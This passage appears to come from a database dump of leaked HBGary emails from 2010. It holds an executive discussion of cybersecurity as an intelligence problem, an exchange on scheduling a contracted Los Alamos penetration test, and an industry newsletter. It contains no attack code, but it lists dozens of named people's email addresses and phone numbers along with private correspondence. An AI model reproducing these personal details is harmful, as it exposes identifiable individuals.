&quot;scottmil@microsoft.com&quot; &lt;scottmil@microsoft.com&gt;,  &quot;shawn.carroll@qwest.com&quot; &lt;shawn.carroll@qwest.com&gt;,  &quot;skip.foote@americansystems.com&quot; &lt;skip.foote@americansystems.com&gt;,  &quot;steve_k_hawkins@raytheon.com&quot; &lt;steve_k_hawkins@raytheon.com&gt;, &quot;svisner@csc.com&quot; &lt;svisner@csc.com&gt;,  &quot;tiffany_jones@symantec.com&quot; &lt;tiffany_jones@symantec.com&gt;, &quot;wcooper@cisco.com&quot; &lt;wcooper@cisco.com&gt;\r\nSubject: Re: Belated Greetings!Now your speaking my language. :)I agree in the end HUMINT capabilities have to play a much larger role.\r\nIt&#39;s non traditional HUMINT though.  Requires some added skillsets and broader authorities.  To play in that space requires the ability to move at the seed of the environment in which your operating, not at the speed of government.\r\n\r\nAaronFrom my iPhoneOn Jun 24, 2010, at 10:56 AM, &quot;Osterholz, John (US SSA)&quot; &lt;john.osterholz@baesystems.com&gt; wrote:\r\n\r\n\r\nGreat input. Assigning cybersecurity to the IT department is a strategic faux pas.  For cybersecurity, a root intell discipline might well be (perish the thought) HUMINT vice signals intelligence.  Ant takers? \r\nJohn Osterholz\r\nVice President\r\nCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;\r\nCc: alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;\r\nSent: Thu Jun 24 10:26:47 2010Subject: Re: Belated Greetings!\r\n\r\nAll,Apologies.Premature send on the last email.  Let me finish the thought.Cybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats.  We are fighting blind.\r\n\r\nI think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem.  What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities.  I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.\r\n\r\nWe lack the standard methodologies for data integration, knowledge management, and information sharing.  This is our biggest limiter.Two suggestions.  The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.\r\n\r\nThoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n \r\n\r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.\r\n\r\n \r\n\r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n\r\n We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.\r\n\r\n \r\n\r\nI do promise to send out the meeting notes asap… \r\n\r\nThanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n\r\n Thanks,  Bill\r\n\r\n L. William Varner\r\n\r\nPresidentMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',12428,'aaron_hbgary_com/12428.html'),(7754,'2010-06-24','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297005993.M443475P14101Q2609.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Belated Greetings!','\r\nYes to your views from here. IMO, at its core, &quot;cyber space&quot; is but an instantiation of humanity. Built by better angels for better angels. And there\'s the rub ...John OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Osterholz, John (US SSA)Cc: Bill.Varner@ManTech.com &lt;Bill.Varner@mantech.com&gt;; alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; Barbara.G.Fast@boeing.com &lt;Barbara.G.Fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;Sent: Thu Jun 24 11:08:42 2010Subject: Re: Belated Greetings!\r\nNow your speaking my language. :)I agree in the end HUMINT capabilities have to play a much larger role.It&#39;s non traditional HUMINT though.  Requires some added skillsets and broader authorities.  To play in that space requires the ability to move at the seed of the environment in which your operating, not at the speed of government.\r\nAaronFrom my iPhoneOn Jun 24, 2010, at 10:56 AM, &quot;Osterholz, John (US SSA)&quot; &lt;john.osterholz@baesystems.com&gt; wrote:\r\n\r\nGreat input. Assigning cybersecurity to the IT department is a strategic faux pas.  For cybersecurity, a root intell discipline might well be (perish the thought) HUMINT vice signals intelligence.  Ant takers? \r\nJohn Osterholz\r\nVice President\r\nCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;\r\nCc: alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;\r\nSent: Thu Jun 24 10:26:47 2010Subject: Re: Belated Greetings!\r\n\r\nAll,Apologies.Premature send on the last email.  Let me finish the thought.Cybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats.  We are fighting blind.\r\nI think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem.  What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities.  I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.\r\nWe lack the standard methodologies for data integration, knowledge management, and information sharing.  This is our biggest limiter.Two suggestions.  The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.\r\nThoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\n\r\nLadies and Gentlemen,\r\n \r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.\r\n \r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.\r\n \r\nI do promise to send out the meeting notes asap… \r\nThanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n Thanks,  Bill\r\n L. William Varner\r\nPresidentMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\nEmail: Bill.Varner@Mantech.com\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',519,'aaron_hbgary_com/519.html'),(7755,'2010-06-24','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297005994.M4604P14101Q2610.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Questions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWhile read the technical proposal on the piece that you\r\nsubmitted to us that we included outlining in detail your approach, they came\r\nacross this statement:\r\n\r\n&nbsp;\r\n\r\nWe\r\nwill utilize the Metasploit Framework, an open-source penetration testing tool\r\nto launch most attacks.  The Metasploit Framework is modular, allowing us to\r\neasily create and add new attack modules. To exploit a system utilizing\r\nMetasploit, the msfconsole will be executed on an attack machine (we will\r\nprovide laptops).  \r\n\r\n&nbsp;\r\n\r\nThe security issue they have is the “We will provide laptops” as\r\nthey can’t have foreign laptops connect to their network.  If they provided the\r\nlaptops, could you load the software you needed on it and executed from their laptop? \r\nIf so, how many hours would it take to do so?  If not, what other alternatives\r\nare there?  Thanks.\r\n\r\n&nbsp;\r\n\r\nJerry \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis \r\nSent: Monday, June 14, 2010 3:44 PM\r\nTo: Aaron Barr; Jerry McClure\r\nSubject: Fwd: my info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGuys -- does this new time work\r\nfor you?\r\n\r\n\r\n\r\n\r\n\r\n- Ira\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Taylor,\r\nDavid A&quot; &lt;dataylor@lanl.gov&gt;\r\nDate: June 14, 2010 3:33:51 PM EDT\r\nTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;Gore, James E&quot; &lt;jgore@lanl.gov&gt;,\r\n&quot;Martinez, Timmy L&quot; &lt;tlmtz@lanl.gov&gt;\r\nSubject: FW: my info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nToday’s\r\nmeeting will have to be canceled.\r\n\r\nJim\r\nGore is out of town.\r\n\r\nWe\r\ncan have the meeting to discuss the rules of engagement at 11:30 MDT Tues.\r\n6/15/10.\r\n\r\nMy\r\napologies for the late notice. I just found out.\r\n\r\n&nbsp;\r\n\r\nDavid\r\nTaylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: \'Ira Entis\'\r\nCc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIra\r\n\r\n&nbsp;\r\n\r\nGood\r\nto talk this morning.\r\n\r\nI am\r\nglad you have everything you need to review the PR.\r\n\r\nBelow\r\nis a rough outline of key dates for your folks as we understand them.\r\n\r\n&nbsp;\r\n\r\nThe\r\nfollowing are dates that we have that you should know.\r\n\r\nPR\r\nwas to have been sent on 6/3.\r\n\r\nYou\r\nhave this week to review.\r\n\r\nWe\r\nwould need to make the award by 6/21 so that we could get started on the\r\nbackground check.\r\n\r\nWe\r\nexpect that to take 3 weeks.\r\n\r\nJim\r\nGore would be at training on 7/13 – 7/16.\r\n\r\nWe\r\nfinish up hardening and testing 7/19 – 7/26\r\n\r\nWe\r\nwould review testing with your folks &nbsp;on 7/28\r\n\r\nYour\r\nfolks would be out here testing on the week of 8/9 – 8/13.\r\n\r\nWe\r\nare assuming that you would be able to do the unix and app penetration testing\r\nsimultaneously for both iRecruit and iSupplier during the same week.\r\n\r\nWe\r\nwould review test results on 8/16.\r\n\r\nWe\r\nwould then expect a written report on 8/30.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou need anything or have any questions do not hesitate to let me know.\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nDavid\r\nTaylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services Sector\r\n\r\nAgilex&nbsp;Technologies, Inc.\r\n5155 Parkstone Drive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA\r\n20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.889.3900 &nbsp;| &nbsp; m: 703.969.3200\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1009,'aaron_hbgary_com/1009.html'),(7756,'2010-06-24','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297005995.M129126P14101Q2611.eml','aaron@hbgary.com','Booz Allen Looks to Go Public','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJune 24,\r\n 2010Booz\r\n Allen Looks to Go\r\n PublicBooz\r\n Allen Hamilton has filed for an initial stock offering that could hold a potential\r\n value of&nbsp; $300 million, according to the\r\n firm.Click Here to Read\r\n MoreWhat\r\n Makes a Successful Protest?\r\n Of\r\n the 39 bid protests decided in the past 2 months, only seven were upheld. So what\r\n makes a protest successful? Here\'s a quick summary of the successful bid protests\r\n in the last two months:Click Here to Read\r\n MorePeter Orszag to Step Down as White House Budget\r\n DirectorIt has been announced that Peter Orszag will be\r\n stepping down from his position as White House budget director within the coming\r\n months. Click Here to\r\n Read\r\n MoreThe\r\n U.S. Army\'s $517 Million Unblinking Eye\r\n Northrop\r\n Grumman\'s new football-field-sized persistent Intelligence, Surveillance and\r\n Reconnaissance UAV, an \"unblinking eye\" over a tactical theater, will take to\r\n skies over Afghanistan in just eighteen months, according to company\r\n officials. Click Here to Read\r\n MoreHathaway and Schneier Speak at Cyber\r\n ConferenceLast week, experts from around 40 countries met at the Cooperative\r\n Cyber Defence Centre of Excellence in Estonia\'s capital Tallinn to discuss\r\n cybersecurity issues. Estonian President Toomas Hendrik Ilves gave the opening\r\n remarks, warning about cyber\r\n crime. Click Here to Read\r\n More\r\n John\r\nRiggins, Hall of Fame running back for the Washington\r\n Redskins, will be\r\nspeaking at the Potomac Officers Club on July 22,\r\n 2010.\r\n Click here to\r\n registerSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpacePresident Obama\'s stimulus package 16 months later: Government\r\n contractors can help jumpstart \"innovation economy,\" says Alion\'s Steve Kimmel\r\n CEO Who Cares: Stan Sloane of SRA\r\n InternationalExecutive Spotlight: Doug Norton of\r\n CALIBREMike\r\n Fraser of USIS: \'There is still a lot we don\'t know about the\r\n enemy\'&nbsp;&nbsp;&nbsp;&nbsp;Austin Yerks\r\n Discusses CSC\'s Big Navy WinSAIC Inks Air\r\n Force Follow-OnThalesRaytheonSystems\r\n Pens Radar Upgrade DealAfrican Nation\r\n Orders Radios from HarrisSAIC Inks Deal\r\n with BTANorthrop\r\n Grumman, Argon ST Win DoD Deals, BAE Picks Up PairNGC Signs $500\r\n Million Deal to Produce Hybrid \'Unblinking Eye\' Airship ICx Grabs Pair\r\n of Defense DealsBoeing,\r\n Raytheon Win Navy DealsNCI\'s Terry\r\n Glasgow on New Strategic Initiatives Lead John WoloskiCSSI Picks Don\r\n Frank to Lead Business DevelopmentIntegral\r\n Systems Names Chris Roberts CFOLockheed to\r\n Work Under Boeing on FAA\'s NextGenDeloitte\'s\r\n Linda Solomon Joins Robin Lineberger with Consulting Mag HonorWatch Stan\r\n Sloane at SRA Investor DayClick Here for\r\n More GovConwireChinese Call\r\n for Cooperation &#8211; with LimitsRichard\r\n Steinnon: DHS Not Using Right Tools for Cyber WarIn Search of\r\n Cyber Experts? Try Grade-SchoolMcAfee Officials: Government Must Be Careful\r\n Not to Stifle InnovationZeus Malware\r\n Distributed via Terror-Themed SpamHackers Battle\r\n Censors in TurkeyGAO Study Calls\r\n for Continued Attention to Secure Cyber SystemsTrack a Hacker,\r\n Or Hit Him BackDefense Firms\r\n Hit by Cyber Espionage at Arms ShowDHS Official:\r\n Cybersecurity Mission Requires TeamworkDHS IG: US-CERT\r\n Needs Work&nbsp;Click Here for\r\n More from The New New Internet 7 Tips to\r\n Reduce Stress and Find Inner PeaceNew Variant of\r\n DDoS Attack Hits PhonesCerberus to\r\n Sell $455 Million Notes to Fund DynCorp AcquisitionUnisys\r\n Federal\'s Ted Davies: Quality, on-time delivery key to Federal IT Dashboard green\r\n ratingU.S., China\r\n Share Challenges with Cybersecurity, Says Cybersecurity ExpertTips to Motivate\r\n Your TeamClick Here for\r\n More from GovCon Executive\r\n OMB Director\r\n Peter Orszag on Fraud-Fighting InitiativesAttorney\r\n General Speaks About Need for Public DefendersProgress Made\r\n in Afghanistan Despite Hurdles, Says Defense Secretary GatesVirtual Reality\r\n Medical Technology Soon Available for TroopsONC Issues\r\n Final Rule on Certification ProgramJohn Pistole:\r\n \'I am dedicated to leading TSA to the next level\'$30 Billion\r\n Small Business Lending Bill Passes Through HouseGovernment, Big\r\n Corps Team Up to Squash Cyber CrimeStudy Shows Few\r\n Americans Use Electronic Health Records\'Operation\r\n Stolen Dreams\' Cracks Down on Mortgage FraudClosing IT Gap\r\n Won\'t Happen Overnight, Says Federal CIO Vivek KundraUS-CERT Falls\r\n Short on Cyber Preparedness, Says Inspector GeneralClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceErnst & Young Entrepreneur\r\n Of The Year 2010 Greater Washington Awards\r\n Gala.The\r\nErnst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\ncelebrate. They\'ve built their dream companies. Expanded. Innovated.\r\nIt\'s time to recognize their achievements. Join us at this\r\n year\'s event\r\nand see who will take home top honors.Shine your shoes. Raise your glass. Get\r\n inspired.When:Thursday, June 24, 2010&nbsp; 6:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more\r\n information Click\r\n Here&nbsp; or call +1 703 747 0858920\r\n AEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n President\r\nObama\'s stimulus package 16 months later: Government contractors can\r\nhelp jumpstart \"innovation economy,\" says Alion\'s Steve Kimmel\r\n Everybody\'s\r\n talking about recovery. But what about innovation?It\'s a question that\r\n Steve Kimmel is asking &#8212; from a business development point of view. As\r\n Kimmel sees it, government contractors have a significant role to play on two\r\n fronts. In addition to furthering the success of government customers, contractors\r\n can help promote the ultimate driver for economic growth: innovation.Click Here to Read\r\n MoreCEO\r\n Who Cares: Stan Sloane of SRA\r\n International\r\n Overseeing a company like SRA International is time-consuming.\r\n With fifty global locations and seven-thousand employees, it would seem that CEO\r\n Stan Sloane has his hands full. However, this CEO who cares proves that his hands\r\n are never too full to lend one to those who need it\r\n most.Click Here to Read\r\n MoreExecutive Spotlight: Doug Norton of\r\n CALIBRERecently,\r\nGovCon Executive had the chance to speak with Doug Norton, VP of\r\nBusiness Development at CALIBRE. Norton touched on his goals for the\r\nfirm, some challenges he sees in the market as well as his advice for\r\nother business development professionals. Click Here to Read\r\n MoreMike\r\n Fraser of USIS: \'There is still a lot we don\'t know about the\r\n enemy\'Mike Fraser spent 20 years in the Air\r\n Force as an acquisitions officer, predominantly supporting classified space\r\n programs for 16 years. After retiring in 1993, he moved to Washington, D.C. to\r\n work in the information security and intelligence marketplace for several\r\n companies, including Trident Data Systems, Veridian and General Dynamics. He\r\n eventually ended up at USIS in August 2006, and has since served as president of\r\n the security solutions division.  Click Here to Read\r\n More&nbsp; \r\n A Letter from the\r\n EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',10370,'aaron_hbgary_com/10370.html'),(7757,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005995.M480953P14101Q2612.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Questions','Sent from my iPadBegin forwarded message:From: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: June 24, 2010 11:13:24 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nSubject: Questions\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nWhile read the technical proposal on the piece that you\r\nsubmitted to us that we included outlining in detail your approach, they came\r\nacross this statement:\r\n\r\n \r\n\r\nWe\r\nwill utilize the Metasploit Framework, an open-source penetration testing tool\r\nto launch most attacks.  The Metasploit Framework is modular, allowing us to\r\neasily create and add new attack modules. To exploit a system utilizing\r\nMetasploit, the msfconsole will be executed on an attack machine (we will\r\nprovide laptops).  \r\n\r\n \r\n\r\nThe security issue they have is the “We will provide laptops” as\r\nthey can’t have foreign laptops connect to their network.  If they provided the\r\nlaptops, could you load the software you needed on it and executed from their laptop? \r\nIf so, how many hours would it take to do so?  If not, what other alternatives\r\nare there?  Thanks.\r\n\r\n \r\n\r\nJerry \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis \r\n\r\nSent: Monday, June 14, 2010 3:44 PM\r\nTo: Aaron Barr; Jerry McClure\r\nSubject: Fwd: my info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGuys -- does this new time work\r\nfor you?\r\n\r\n\r\n\r\n\r\n\r\n- Ira\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded 